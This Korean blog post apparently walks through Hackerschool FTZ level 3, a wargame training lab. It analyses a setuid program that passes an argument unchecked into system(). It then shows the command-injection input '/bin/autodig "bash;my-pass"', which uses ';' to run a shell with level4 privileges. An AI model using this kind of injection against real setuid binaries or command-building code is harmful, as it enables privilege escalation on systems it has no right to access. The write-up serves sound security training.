hint를 확인한 결과입니다.
위 소스코드를 분석하면 다음과 같습니다.
int main(int argc, char **argv){
우선 인자값을 받습니다.
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
cmd = "dig @"+"argv[1](우리가 입력한 값)"+" version.bind chaos txt"
system( cmd );
그리고 system()를 통해 cmd의 값을 실행합니다.
소스코드를 통해 "아래의 힌트를 참고해서 autodig에 인자값을 전달해줘야 함"을 짐작할 수 있습니다.
그 다음 autodig 파일을 찾기 위해 find 명령어를 사용합니다.
find / -name autodig 2>/dev/null
ls -al 명령어를 통해 /bin/autodig에 대해서 level 4의 권한으로 setuid가 걸려있음을 알 수 있습니다.
여기까지 종합해보자면, level 4의 권한으로 setuid가 걸린 autodig 파일을 실행하면서 인자값을 전달해줘야 하는데, 이때 인자값으로 bash 명령어와 my-pass 명령어를 전달해주면 level4의 패스워드를 얻을 수 있음을 알 수 있습니다.
동시에 여러 명령어를 사용하려면? ; 사용
명령어를 문자열 형태로 전달하려면? " " 사용
/bin/autodig "bash;my-pass"
'Wargame > Hackerschool FTZ' 카테고리의 다른 글
[FTZ] 해커스쿨 FTZ level 5 (0) | 2021.03.23 |
---|---|
[FTZ] 해커스쿨 FTZ level 4 (0) | 2021.03.23 |
[FTZ] 해커스쿨 FTZ level 2 (0) | 2021.03.23 |
[FTZ] 해커스쿨 FTZ level 1 (1) | 2021.03.23 |
[FTZ] 해커스쿨 FTZ training 6~10 (0) | 2021.03.10 |